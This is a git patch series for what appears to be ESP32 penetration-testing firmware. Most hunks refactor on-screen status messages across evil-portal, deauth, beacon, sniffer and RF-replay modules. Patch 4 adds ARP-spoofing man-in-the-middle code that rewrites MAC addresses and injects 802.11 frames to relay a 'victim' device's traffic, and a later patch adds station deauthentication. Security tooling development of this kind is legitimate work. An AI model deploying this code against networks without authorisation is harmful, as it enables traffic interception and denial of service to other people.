diff --git a/src/modules/pwnagotchi/spam.cpp b/src/modules/pwnagotchi/spam.cpp
index 46e150bd..e77f47a6 100644
--- a/src/modules/pwnagotchi/spam.cpp
+++ b/src/modules/pwnagotchi/spam.cpp
@@ -347,7 +347,7 @@ void send_pwnagotchi_beacon_main() {
 
   // Check if file was loaded
   if (num_faces == 0 or num_names == 0) {
-    displayRedStripe("No config file", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+    displaySomething("No config file");
     delay(1000);
     return;
   }
diff --git a/src/modules/wifi/ap_info.cpp b/src/modules/wifi/ap_info.cpp
index 6ebbd76c..13249d24 100644
--- a/src/modules/wifi/ap_info.cpp
+++ b/src/modules/wifi/ap_info.cpp
@@ -126,7 +126,7 @@ void fillInfo(ScrollableTextArea& area){
 
     const auto mac = MAC(ap_info.bssid);
 
-    displayRedStripe("Gathering...",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+    displaySomething("Gathering...");
 
     // in promiscius mode also Rx/Tx can be gathered
     // organized in the most to least usable
diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index ce4f5cc9..d5c202e3 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -348,7 +348,7 @@ void telnet_loop() {
 
     Serial.println("Connected to TELNET server");
     tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
-    displayRedStripe("Connected to TELNET server", getComplementaryColor2(bruceConfig.priColor), TFT_DARKGREEN );
+    displaySomething("Connected to TELNET server");
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
     delay(2000);
     tft.fillScreen(bruceConfig.bgColor);
diff --git a/src/modules/wifi/evil_portal.cpp b/src/modules/wifi/evil_portal.cpp
index 9adee517..a5fda5a4 100644
--- a/src/modules/wifi/evil_portal.cpp
+++ b/src/modules/wifi/evil_portal.cpp
@@ -59,7 +59,7 @@ bool EvilPortal::setup() {
 
 void EvilPortal::beginAP() {
     drawMainBorderWithTitle("EVIL PORTAL");
-    displayRedStripe("Starting...", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+    displaySomething("Starting...");
 
     WiFi.mode(WIFI_MODE_AP);
     WiFi.softAPConfig(apGateway, apGateway, IPAddress(255, 255, 255, 0));
diff --git a/src/modules/wifi/scan_hosts.cpp b/src/modules/wifi/scan_hosts.cpp
index 331d7f43..64446e2c 100644
--- a/src/modules/wifi/scan_hosts.cpp
+++ b/src/modules/wifi/scan_hosts.cpp
@@ -46,7 +46,7 @@ void local_scan_setup() {
         struct netif *net_iface = (struct netif *)netif;
         etharp_cleanup_netif(net_iface); // to avoid gateway duplication
 
-        displayRedStripe("Probing " + String(broadcast - networkAddress - 1) + " hosts",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor); // minus broadcast and subnet mask
+        displaySomething("Probing " + String(broadcast - networkAddress - 1) + " hosts"); // minus broadcast and subnet mask
 
         // send arp requests, read table each ARP_TABLE_SIZE requests
         uint16_t tableReadCounter = 0;
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index 3a76b05d..6687c5f1 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -339,7 +339,7 @@ void sniffer_setup() {
   else Fs = &LittleFS;        // if not, use the internal memory.
 
   openFile(*Fs);
-  displayRedStripe("Sniffing Started", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor );
+  displaySomething("Sniffing Started");
   tft.setTextSize(FP);
   tft.setCursor(80, 100);
   int redraw = true;
diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp
index b21713b7..90c9f39c 100644
--- a/src/modules/wifi/wifi_atks.cpp
+++ b/src/modules/wifi/wifi_atks.cpp
@@ -119,7 +119,7 @@ void wifi_atk_menu()
   {
     int nets;
     WiFi.mode(WIFI_MODE_STA);
-    displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+    displaySomething("Scanning..");
     nets = WiFi.scanNetworks();
     ap_records.clear();
     options = {};
@@ -163,7 +163,7 @@ void deauthFloodAttack()
   int nets;
   WiFi.mode(WIFI_AP);
 ScanNets:
-  displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething("Scanning..");
   nets = WiFi.scanNetworks();
   ap_records.clear();
   for (int i = 0; i < nets; i++)
@@ -301,7 +301,7 @@ void target_atk(String tssid, String mac, uint8_t channel)
     // Pause attack
     if (checkSelPress())
     {
-      displayRedStripe("Deauth Paused", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+      displaySomething("Deauth Paused");
       while (checkSelPress())
       {
         delay(50);
@@ -572,10 +572,10 @@ void beaconAttack()
 
   wifiConnected = true; // display wifi icon
   // drawMainMenu(0);
-  displayRedStripe(txt, getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething(txt);
   while (1)
   {
-    displayRedStripe(String(txt), getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+    displaySomething(String(txt));
     delay(200);
     if (BeaconMode == 0)
     {

From 579eef3226f01cbaeb729ff7a34ab6f25c063cec Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Wed, 11 Dec 2024 02:04:40 -0300
Subject: [PATCH 3/9] RF menu rework

---
 src/modules/rf/rf.cpp | 144 ++++++++++++++++++++----------------------
 1 file changed, 67 insertions(+), 77 deletions(-)

diff --git a/src/modules/rf/rf.cpp b/src/modules/rf/rf.cpp
index e4f5eb5a..81c51be9 100644
--- a/src/modules/rf/rf.cpp
+++ b/src/modules/rf/rf.cpp
@@ -1113,7 +1113,7 @@ void sendRfCommand(struct RfCodes rfcode) {
         transmittimings[transmittimings_idx] = 0;  // termination
 
         // send rf command
-        displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+        displaySomething("Sending..");
         RCSwitch_RAW_send(transmittimings);
         free(transmittimings);
     }
@@ -1138,7 +1138,7 @@ void sendRfCommand(struct RfCodes rfcode) {
         Serial.println(pulse);
         Serial.println(rcswitch_protocol_no);
         * */
-        displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+        displaySomething("Sending..");
         RCSwitch_send(data_val, bits, pulse, rcswitch_protocol_no, repeat);
     }
     else if(protocol.startsWith("Princeton")) {
@@ -1402,31 +1402,34 @@ void rf_scan_copy() {
 	drawMainBorder();
 	tft.setCursor(10, 28);
 	tft.setTextSize(FP);
-	tft.println("Waiting for signal.");
-	tft.setCursor(10, tft.getCursorY());
-	if (bruceConfig.rfFxdFreq) {
-		if (_try >= _MAX_TRIES) {
-			tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor);
-		}
+    if(received.data!="") rf_scan_copy_draw_signal(received,signals,ReadRAW);
+    else {
+        tft.println("Waiting for signal.");
+        tft.setCursor(10, tft.getCursorY());
+        if (bruceConfig.rfFxdFreq) {
+            if (_try >= _MAX_TRIES) {
+                tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor);
+            }
 
-		tft.println("Freq: " + String(bruceConfig.rfFreq) + " MHz");
+            tft.println("Freq: " + String(bruceConfig.rfFreq) + " MHz");
 
-		if (_try >= _MAX_TRIES) {
-			tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-		}
-	}
-	else {
-		tft.println("Range: " + String(sz_range[bruceConfig.rfScanRange]));
-	}
+            if (_try >= _MAX_TRIES) {
+                tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+            }
+        }
+        else {
+            tft.println("Range: " + String(sz_range[bruceConfig.rfScanRange]));
+        }
 
-    if(ReadRAW) {
-        tft.setCursor(10, tft.getCursorY()+LH);
-        tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor);
-        tft.println("Reading RAW data.");
-        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+        if(ReadRAW) {
+            tft.setCursor(10, tft.getCursorY()+LH);
+            tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor);
+            tft.println("Reading RAW data.");
+            tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+        }
+        tft.setCursor(10, tft.getCursorY()+LH*2);
+        tft.println("Press [NEXT] for range.");
     }
-    tft.setCursor(10, tft.getCursorY()+LH*2);
-	tft.println("Press [NEXT] for range.");
 
 	if (bruceConfig.rfFxdFreq) {
 		frequency = bruceConfig.rfFreq;
@@ -1568,12 +1571,16 @@ void rf_scan_copy() {
         Menu:
 			int option = -1;
             options={};
-            if(received.data!="")                       options.push_back({ "Replay",       [&]()  { option = 0; } });
+            if(received.data!="") {
+                                                        options.push_back({ "Replay",       [&]()  { option = 0; } });
+                                                        options.push_back({ "Save Signal",  [&]()  { option = 2; } });
+                                                        options.push_back({ "Reset Signal", [&]()  { option = 3; } });
+            }
             if(bruceConfig.rfModule==CC1101_SPI_MODULE) options.push_back({ "Range",        [&]()  { option = 1; } });
-            if(received.data!="")                       options.push_back({ "Signal",       [&]()  { option = 2; } });
-            if(ReadRAW)                                 options.push_back({ "Stop RAW",     [&ReadRAW]()  {  ReadRAW=false; } });
-            else                                        options.push_back({ "Read RAW",     [&ReadRAW]()  {  ReadRAW=true; } });
-                                                        options.push_back({ "Close Menu",   [&]()  {  option=-1; } });
+            if(received.data!="")                       
+            if(ReadRAW)                                 options.push_back({ "Stop RAW",     [&]()  {  ReadRAW=false; } });
+            else                                        options.push_back({ "Read RAW",     [&]()  {  ReadRAW=true; } });
+                                                        options.push_back({ "Close Menu",   [&]()  {  option =-1; } });
                                                         options.push_back({ "Main Menu",    [=]()  {  returnToMenu=true; } });
 
             delay(200);
@@ -1583,9 +1590,18 @@ void rf_scan_copy() {
 
             if(returnToMenu) break;
 
-            if(option==0) goto ReplaySignal;
+            if(option ==0 ) { // Replay signal
+            ReplaySignal:
+                rcswitch.disableReceive();
+                sendRfCommand(received);
+                addToRecentCodes(received);
 
-			if (option == 1) {
+                deinitRfModule();
+                delay(200);
+                goto RestartScan;
+            }
+
+			if (option == 1) { // Range 
                 option=0;
 				options = {
 					{ String("Fxd [" + String(bruceConfig.rfFreq) + "]").c_str(), [=]()  { bruceConfig.setRfScanRange(bruceConfig.rfScanRange, 1); } },
@@ -1602,7 +1618,8 @@ void rf_scan_copy() {
                 if(option == 1) {
                     options = {};
                     int ind=0;
-                    for(int i=0; i<57;i++) { //57 items in subghz_frequency_list
+                    int arraySize = sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]);
+                    for(int i=0; i<arraySize;i++) {
                         options.push_back({ String(String(subghz_frequency_list[i],2) + "Mhz").c_str(), [=]()  { bruceConfig.rfFreq=subghz_frequency_list[i]; } });
                         if(int(frequency*100)==int(subghz_frequency_list[i]*100)) ind=i;
                     }
@@ -1611,56 +1628,29 @@ void rf_scan_copy() {
                     bruceConfig.setRfScanRange(bruceConfig.rfScanRange, 1);
                 }
 
-				if (bruceConfig.rfFxdFreq) {
-					displayRedStripe("Scan freq set to " + String(bruceConfig.rfFreq), getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
-				}
-				else {
-					displayRedStripe("Range set to " + String(sz_range[bruceConfig.rfScanRange]), getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
-				}
+				if (bruceConfig.rfFxdFreq) displaySomething("Scan freq set to " + String(bruceConfig.rfFreq));
+				else displaySomething("Range set to " + String(sz_range[bruceConfig.rfScanRange]));
+                
                 deinitRfModule();
 				delay(1500);
 				goto RestartScan;
 			}
-			else if (option == 2) {
-				option = 0;
-				options = {
-					{ "Set default",      [&]()  { option = 1; } },
-					{ "Replay signal",    [&]()  { option = 2; } },
-					{ "Save signal",      [&]()  { option = 3; } },
-				};
-
-				if (bruceConfig.rfFxdFreq) {
-					options.erase(options.begin());
-				}
-
-				delay(200);
-				loopOptions(options);
-                if (option == 1) {
-					bruceConfig.setRfFreq(found_freq);
-					displayRedStripe("Set to " + String(found_freq) + " MHz", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
-
-                    deinitRfModule();
-					delay(1500);
-                    goto RestartScan;
-				}
-				else if (option == 2) {
-            ReplaySignal:
-					rcswitch.disableReceive();
-					sendRfCommand(received);
-					addToRecentCodes(received);
-
-					deinitRfModule();
-                    delay(200);
-					goto RestartScan;
-				}
-				else if (option == 3) {
-                    Serial.println(received.protocol=="RAW"? "RCSwitch_SaveSignal RAW true":"RCSwitch_SaveSignal RAW false");
-                    RCSwitch_SaveSignal(found_freq, received, received.protocol=="RAW"? true:false, hexString);
-
-                    deinitRfModule();
-                    delay(200);
-					goto RestartScan;
-				}
+			else if (option == 2) { // Save Signal
+                Serial.println(received.protocol=="RAW"? "RCSwitch_SaveSignal RAW true":"RCSwitch_SaveSignal RAW false");
+                RCSwitch_SaveSignal(found_freq, received, received.protocol=="RAW"? true:false, hexString);
+                deinitRfModule();
+                delay(200);
+                goto RestartScan;
+            }
+            else if (option == 3) { // Set Default
+                received.Bit=0;
+                received.data="";
+                received.key=0;
+                received.preset="";
+                received.protocol="";
+                deinitRfModule();
+                delay(1500);
+                goto RestartScan;
 		    }
         }
 		++idx;

From a4993de6351836b0000062907256baedf272b183 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Wed, 11 Dec 2024 05:39:50 -0300
Subject: [PATCH 4/9] Mitm advance (3 steps back? none forward)

---
 ports/lilygo-t-embed-cc1101/platformio.ini |   8 +-
 src/modules/wifi/scan_hosts.cpp            | 100 +++++++++++++++------
 2 files changed, 79 insertions(+), 29 deletions(-)

diff --git a/ports/lilygo-t-embed-cc1101/platformio.ini b/ports/lilygo-t-embed-cc1101/platformio.ini
index 4aa6b316..601525f1 100644
--- a/ports/lilygo-t-embed-cc1101/platformio.ini
+++ b/ports/lilygo-t-embed-cc1101/platformio.ini
@@ -171,8 +171,8 @@ build_flags =
 
 lib_deps =
 	${env.lib_deps}
-	lewisxhe/XPowersLib @ ^0.2.4
-	mathertel/RotaryEncoder @ ^1.5.3
+	lewisxhe/XPowersLib @0.2.4
+	mathertel/RotaryEncoder @1.5.3
 
 [env:lilygo-t-embed]
 platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
@@ -331,6 +331,6 @@ build_flags =
 
 lib_deps =
 	${env.lib_deps}
-	lewisxhe/XPowersLib @ ^0.2.4
-	mathertel/RotaryEncoder @ ^1.5.3
+	lewisxhe/XPowersLib @0.2.4
+	mathertel/RotaryEncoder @1.5.3
 #################################### END OF LILYGO MODELS #######################################
diff --git a/src/modules/wifi/scan_hosts.cpp b/src/modules/wifi/scan_hosts.cpp
index 64446e2c..d1512e93 100644
--- a/src/modules/wifi/scan_hosts.cpp
+++ b/src/modules/wifi/scan_hosts.cpp
@@ -80,8 +80,8 @@ void local_scan_setup() {
 
         options = {};
         for(auto host:hostslist) {
-          String result = host.ip.toString().substring(host.ip.toString().lastIndexOf('.') - 1);
-          if( host.ip == gateway ) result += "(GATE)";
+          String result = host.ip.toString();
+          if( host.ip == gateway ) result += "(GTW)";
           options.push_back({result.c_str(), [=](){ afterScanOptions(host); }});
         }
         options.push_back({"Main Menu", [=]() { backToMenu(); }});
@@ -95,17 +95,25 @@ void local_scan_setup() {
 }
 
 void afterScanOptions(const Host& host) {
+  int opt=0;
   options = {
-    {"Host info", [=](){ hostInfo(host); }},
+    {"Host info",       [=](){ hostInfo(host); }},
   #ifndef LITE_VERSION
-    {"SSH Connect", [=](){ ssh_setup(host.ip.toString()); }},
+    {"SSH Connect",     [=](){ ssh_setup(host.ip.toString()); }},
   #endif
-    {"ARP Poisoning", [=](){ arpPoisoner(); }},
-    {"ARP Spoofing", [=](){ arpSpoofing(host, false); }},
+    {"ARP Poisoning",   [=](){ arpPoisoner(); }},
+    {"ARP Spoofing",    [=](){ arpSpoofing(host, false); }},
   };
-  if(sdcardMounted) options.push_back({"ARP MITM", [=](){ arpSpoofing(host, true); }});
+  if(sdcardMounted && bruceConfig.devMode) options.push_back(
+  //options.push_back(
+    {"ARP MITM (WIP)",  [&](){ opt=5;  }}
+    );
   loopOptions(options);
   delay(200);
+  if(opt==5)  { 
+    Serial.println("Starting MITM");
+    arpSpoofing(host, true);
+  }
 }
 
 void hostInfo(const Host& host) {
@@ -252,7 +260,6 @@ void sendARPPacket(uint8_t *targetIP, uint8_t *targetMAC, uint8_t *spoofedIP, ui
   netif->linkoutput(netif, p);
   pbuf_free(p);
   Serial.println("Pacote ARP enviado!");
-  tft.println("Pacote ARP enviado!");
 
   // Capturar o pacote no arquivo PCAP
   if (pcapFile) {
@@ -278,10 +285,23 @@ bool parseIPString(const String &ipStr, uint8_t *ipArray) {
 
 // gateway and clients MAC for callback
 uint8_t gatewayMAC[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; 
-uint8_t clientMAC[6] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; 
+uint8_t victimMAC[6] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; 
 uint8_t myMAC[6];  // MAC do ESP32
 File pcapFile;
 
+unsigned long crc32iso_hdlc(unsigned long crc, uint8_t const *mem, size_t len) {
+    unsigned char const *data = mem;
+    if (data == NULL)
+        return 0;
+    crc ^= 0xffffffff;
+    while (len--) {
+        crc ^= *data++;
+        for (unsigned k = 0; k < 8; k++)
+            crc = crc & 1 ? (crc >> 1) ^ 0xedb88320 : crc >> 1;
+    }
+    return crc ^ 0xffffffff;
+}
+
 // Callback para processar pacotes no modo Promiscuous
 void mitmCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
   if (type != WIFI_PKT_MGMT && type != WIFI_PKT_DATA) {
@@ -290,33 +310,59 @@ void mitmCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
 
   wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*) buf;
   wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl;
-  uint8_t* payload = pkt->payload;
   // preamble (8 bytes) + destMAC(6 bytes) + srcMAC(6 bytes)
-  uint8_t* destMAC = payload + 8;
-  uint8_t* srcMAC = payload + 14;
+  uint8_t* destMAC = pkt->payload + 4 ;
+  uint8_t* srcMAC = pkt->payload + 10;
 
+  
   // Verifica se o pacote é destinado ao ESP32
-  if (memcmp(destMAC, myMAC, 6) == 0) {
+  if (memcmp(destMAC, myMAC, 6) == 0 || memcmp(srcMAC, myMAC, 6) == 0) {
+    //for(int i=4; i<16; i++) {
+    //  Serial.print(pkt->payload[i],HEX); 
+    //  Serial.print(" ");
+    //}
+    //Serial.print(" - destMAC ");
+    //for(int i=0; i<6; i++) { Serial.print(destMAC[i],HEX); Serial.print(" "); }
+    //Serial.print(" - My MAC ");
+    //for(int i=0; i<6; i++) { Serial.print(myMAC[i],HEX); Serial.print(" "); }
+    //Serial.println();
+
+    //Serial.print(" - srcMAC ");
+    //for(int i=0; i<6; i++) { Serial.print(srcMAC[i],HEX); Serial.print(" "); }
+    //Serial.print(" - GTW MAC ");
+    //for(int i=0; i<6; i++) { Serial.print(gatewayMAC[i],HEX); Serial.print(" "); }
+    //Serial.print(" - clientMAC MAC ");
+    //for(int i=0; i<6; i++) { Serial.print(victimMAC[i],HEX); Serial.print(" "); }
+    //Serial.println();
+
     uint32_t timestamp = now(); // current timestamp
     uint32_t microseconds = (unsigned int)(micros() - millis() * 1000); // microseconds offset (0 - 999)
-
     uint32_t len = ctrl.sig_len;
+
+    for(int i = 0; i<len;i++) { Serial.print(pkt->payload[i],HEX); Serial.print(" "); }
+    Serial.print("->");
+    unsigned long crc=0;
+    crc=crc32iso_hdlc(crc,pkt->payload,len);
+    Serial.println(crc,HEX);
+
     if(type == WIFI_PKT_MGMT) {
       len -= 4; // Need to remove last 4 bytes (for checksum) or packet gets malformed # https://github.com/espressif/esp-idf/issues/886
     }
-    newPacketSD(timestamp, microseconds, len, pkt->payload, pcapFile); // If it is to save everything, saves every packet
-
+    //newPacketSD(timestamp, microseconds, len, pkt->payload, pcapFile); // If it is to save everything, saves every packet
+    Serial.print("packet->");
     // Encaminha para o cliente se veio do gateway
     if (memcmp(srcMAC, gatewayMAC, 6) == 0) {
-      memcpy(destMAC, clientMAC, 6); // Ajusta MAC de destino
+      memcpy(destMAC, victimMAC, 6); // Ajusta MAC de destino
       //What happens with checkSUM???
-      esp_wifi_80211_tx(WIFI_IF_AP, payload, pkt->rx_ctrl.sig_len, false);
+      Serial.println("Client");
+      esp_wifi_80211_tx(WIFI_IF_STA, pkt->payload, pkt->rx_ctrl.sig_len, true);
     }
     // Encaminha para o gateway se veio do cliente
-    else if (memcmp(srcMAC, clientMAC, 6) == 0) {
+    else if (memcmp(srcMAC, victimMAC, 6) == 0) {
       memcpy(destMAC, gatewayMAC, 6); // Ajusta MAC de destino
       //What happens with checkSUM???
-      esp_wifi_80211_tx(WIFI_IF_STA, payload, pkt->rx_ctrl.sig_len, false);
+      Serial.println("Gtw");
+      esp_wifi_80211_tx(WIFI_IF_STA, pkt->payload, pkt->rx_ctrl.sig_len, true);
     }
   }
 }
@@ -324,10 +370,7 @@ void mitmCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
 void arpSpoofing(const Host& host, bool mitm) {
 
   uint8_t gatewayIP[4];
-  uint8_t victimIP[4]; // Endereço IP da vítima
-  uint8_t gatewayMAC[6];  // MAC do Gateway
-  uint8_t victimMAC[6];  // MAC da vítima
-  
+  uint8_t victimIP[4]; // Endereço IP da vítima  
 
   static int nf=0;
   FS *fs;
@@ -338,7 +381,7 @@ void arpSpoofing(const Host& host, bool mitm) {
   }
   if(!fs->exists("/BrucePCAP")) fs->mkdir("/BrucePCAP");
   while(fs->exists(String("/BrucePCAP/ARP_session_" + String(nf++) + ".pcap").c_str())) yield();
-  pcapFile = fs->open(String("/BrucePCAP/ARP_session_" + String(nf) + ".pcap").c_str());
+  pcapFile = fs->open(String("/BrucePCAP/ARP_session_" + String(nf) + ".pcap").c_str(), FILE_WRITE);
   
   writeHeader(pcapFile); // write pcap header into the file
 
@@ -389,6 +432,13 @@ void arpSpoofing(const Host& host, bool mitm) {
     Serial.println("Promiscuous mode deactivated.");
   }
 
+  // Restore ARP Table
+  sendARPPacket(victimIP, victimMAC, gatewayIP, gatewayMAC, pcapFile);
+  sendARPPacket(gatewayIP, gatewayMAC, victimIP, victimMAC, pcapFile);
+
+  pcapFile.flush();
+  pcapFile.close();
+
 }
 
 void arpPoisoner() {

From dadfb45514a379afbaafb749d0d9a1a031d8ed92 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Wed, 11 Dec 2024 05:49:50 -0300
Subject: [PATCH 5/9] t-embed libdep

---
 ports/lilygo-t-embed-cc1101/platformio.ini | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/ports/lilygo-t-embed-cc1101/platformio.ini b/ports/lilygo-t-embed-cc1101/platformio.ini
index 601525f1..0fcff7a7 100644
--- a/ports/lilygo-t-embed-cc1101/platformio.ini
+++ b/ports/lilygo-t-embed-cc1101/platformio.ini
@@ -171,7 +171,7 @@ build_flags =
 
 lib_deps =
 	${env.lib_deps}
-	lewisxhe/XPowersLib @0.2.4
+	lewisxhe/XPowersLib @0.2.6
 	mathertel/RotaryEncoder @1.5.3
 
 [env:lilygo-t-embed]
@@ -331,6 +331,6 @@ build_flags =
 
 lib_deps =
 	${env.lib_deps}
-	lewisxhe/XPowersLib @0.2.4
+	lewisxhe/XPowersLib @0.2.6
 	mathertel/RotaryEncoder @1.5.3
 #################################### END OF LILYGO MODELS #######################################

From 7d17c74c5cf231f1c00a9ffb6d28076ee5d95ef6 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Thu, 12 Dec 2024 03:11:31 -0300
Subject: [PATCH 6/9] STA Deauth and deauth on sniffer

---
 src/modules/wifi/scan_hosts.cpp | 215 ++++++++++++++------------------
 src/modules/wifi/sniffer.cpp    |  71 +++++++----
 src/modules/wifi/wifi_atks.cpp  |  22 ++--
 src/modules/wifi/wifi_atks.h    |   3 +-
 4 files changed, 158 insertions(+), 153 deletions(-)

diff --git a/src/modules/wifi/scan_hosts.cpp b/src/modules/wifi/scan_hosts.cpp
index d1512e93..8367b375 100644
--- a/src/modules/wifi/scan_hosts.cpp
+++ b/src/modules/wifi/scan_hosts.cpp
@@ -4,6 +4,7 @@
 #include "core/wifi_common.h"
 #include "scan_hosts.h"
 #include "clients.h"
+#include "wifi_atks.h" // to use Station Deauth
 
 //thx to 7h30th3r0n3, which made scanHosts faster using ARP
 
@@ -101,13 +102,11 @@ void afterScanOptions(const Host& host) {
   #ifndef LITE_VERSION
     {"SSH Connect",     [=](){ ssh_setup(host.ip.toString()); }},
   #endif
-    {"ARP Poisoning",   [=](){ arpPoisoner(); }},
+    {"Station Deauth",  [=](){ stationDeauth(host); }},
     {"ARP Spoofing",    [=](){ arpSpoofing(host, false); }},
+    {"ARP Poisoning",   [=](){ arpPoisoner(); }},
   };
-  if(sdcardMounted && bruceConfig.devMode) options.push_back(
-  //options.push_back(
-    {"ARP MITM (WIP)",  [&](){ opt=5;  }}
-    );
+  //if(sdcardMounted && bruceConfig.devMode) options.push_back({"ARP MITM (WIP)",  [&](){ opt=5;  }});
   loopOptions(options);
   delay(200);
   if(opt==5)  { 
@@ -282,107 +281,30 @@ bool parseIPString(const String &ipStr, uint8_t *ipArray) {
   }
   return false;
 }
-
-// gateway and clients MAC for callback
-uint8_t gatewayMAC[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; 
-uint8_t victimMAC[6] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; 
-uint8_t myMAC[6];  // MAC do ESP32
-File pcapFile;
-
-unsigned long crc32iso_hdlc(unsigned long crc, uint8_t const *mem, size_t len) {
-    unsigned char const *data = mem;
-    if (data == NULL)
-        return 0;
-    crc ^= 0xffffffff;
-    while (len--) {
-        crc ^= *data++;
-        for (unsigned k = 0; k < 8; k++)
-            crc = crc & 1 ? (crc >> 1) ^ 0xedb88320 : crc >> 1;
-    }
-    return crc ^ 0xffffffff;
-}
-
-// Callback para processar pacotes no modo Promiscuous
-void mitmCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  if (type != WIFI_PKT_MGMT && type != WIFI_PKT_DATA) {
-      return; // Processa apenas pacotes de gerenciamento e dados
-  }
-
-  wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*) buf;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl;
-  // preamble (8 bytes) + destMAC(6 bytes) + srcMAC(6 bytes)
-  uint8_t* destMAC = pkt->payload + 4 ;
-  uint8_t* srcMAC = pkt->payload + 10;
-
-  
-  // Verifica se o pacote é destinado ao ESP32
-  if (memcmp(destMAC, myMAC, 6) == 0 || memcmp(srcMAC, myMAC, 6) == 0) {
-    //for(int i=4; i<16; i++) {
-    //  Serial.print(pkt->payload[i],HEX); 
-    //  Serial.print(" ");
-    //}
-    //Serial.print(" - destMAC ");
-    //for(int i=0; i<6; i++) { Serial.print(destMAC[i],HEX); Serial.print(" "); }
-    //Serial.print(" - My MAC ");
-    //for(int i=0; i<6; i++) { Serial.print(myMAC[i],HEX); Serial.print(" "); }
-    //Serial.println();
-
-    //Serial.print(" - srcMAC ");
-    //for(int i=0; i<6; i++) { Serial.print(srcMAC[i],HEX); Serial.print(" "); }
-    //Serial.print(" - GTW MAC ");
-    //for(int i=0; i<6; i++) { Serial.print(gatewayMAC[i],HEX); Serial.print(" "); }
-    //Serial.print(" - clientMAC MAC ");
-    //for(int i=0; i<6; i++) { Serial.print(victimMAC[i],HEX); Serial.print(" "); }
-    //Serial.println();
-
-    uint32_t timestamp = now(); // current timestamp
-    uint32_t microseconds = (unsigned int)(micros() - millis() * 1000); // microseconds offset (0 - 999)
-    uint32_t len = ctrl.sig_len;
-
-    for(int i = 0; i<len;i++) { Serial.print(pkt->payload[i],HEX); Serial.print(" "); }
-    Serial.print("->");
-    unsigned long crc=0;
-    crc=crc32iso_hdlc(crc,pkt->payload,len);
-    Serial.println(crc,HEX);
-
-    if(type == WIFI_PKT_MGMT) {
-      len -= 4; // Need to remove last 4 bytes (for checksum) or packet gets malformed # https://github.com/espressif/esp-idf/issues/886
-    }
-    //newPacketSD(timestamp, microseconds, len, pkt->payload, pcapFile); // If it is to save everything, saves every packet
-    Serial.print("packet->");
-    // Encaminha para o cliente se veio do gateway
-    if (memcmp(srcMAC, gatewayMAC, 6) == 0) {
-      memcpy(destMAC, victimMAC, 6); // Ajusta MAC de destino
-      //What happens with checkSUM???
-      Serial.println("Client");
-      esp_wifi_80211_tx(WIFI_IF_STA, pkt->payload, pkt->rx_ctrl.sig_len, true);
-    }
-    // Encaminha para o gateway se veio do cliente
-    else if (memcmp(srcMAC, victimMAC, 6) == 0) {
-      memcpy(destMAC, gatewayMAC, 6); // Ajusta MAC de destino
-      //What happens with checkSUM???
-      Serial.println("Gtw");
-      esp_wifi_80211_tx(WIFI_IF_STA, pkt->payload, pkt->rx_ctrl.sig_len, true);
-    }
-  }
-}
-
-void arpSpoofing(const Host& host, bool mitm) {
-
-  uint8_t gatewayIP[4];
-  uint8_t victimIP[4]; // Endereço IP da vítima  
-
+bool arpPCAPfile(File &pcapFile) {
   static int nf=0;
   FS *fs;
   if(setupSdCard()) fs=&SD;
   else { 
     fs=&LittleFS;
-    mitm=false;   //LittleFs doesn have room and processing to run this attack;
